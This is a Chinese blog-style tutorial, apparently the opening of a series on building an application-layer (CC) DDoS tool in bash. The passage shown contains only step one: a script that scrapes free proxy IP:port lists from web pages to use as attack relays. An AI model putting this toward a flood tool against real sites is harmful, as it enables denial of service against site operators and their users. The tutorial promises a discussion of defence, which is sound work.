故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已
知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败
——孙子兵法·谋攻
我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。
第一步:获取大量可用代理ip:port列表
网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。
1 grab_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip 10 declare port 11 declare i 12 declare j 13 declare mod 14 15 function quit() { 16 rm -f $tmpFile 17 exit "$1" 18 } 19 20 echo "get proxy list... please wait..." 21 22 if [ -r "$proxyListFile" ] 23 then 24 rm -f $proxyListFile 25 fi 26 27 touch $proxyListFile 28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \ 30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" \ 31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" \ 32 " http://www.youdaili.cn/Daili/guonei/2215_4.html " 33 do 34 if GET "$url" > $tmpFile 35 then 36 grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \ 37 | sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile 38 else 39 exec 1>&2 40 echo "error: get proxy list fail! chech the url:$url or the network" 41 quit 1 42 fi 43 done 44 45 echo "done. total `cat $proxyListFile | wc -l` proxy" 46 47 quit 0 48 #exit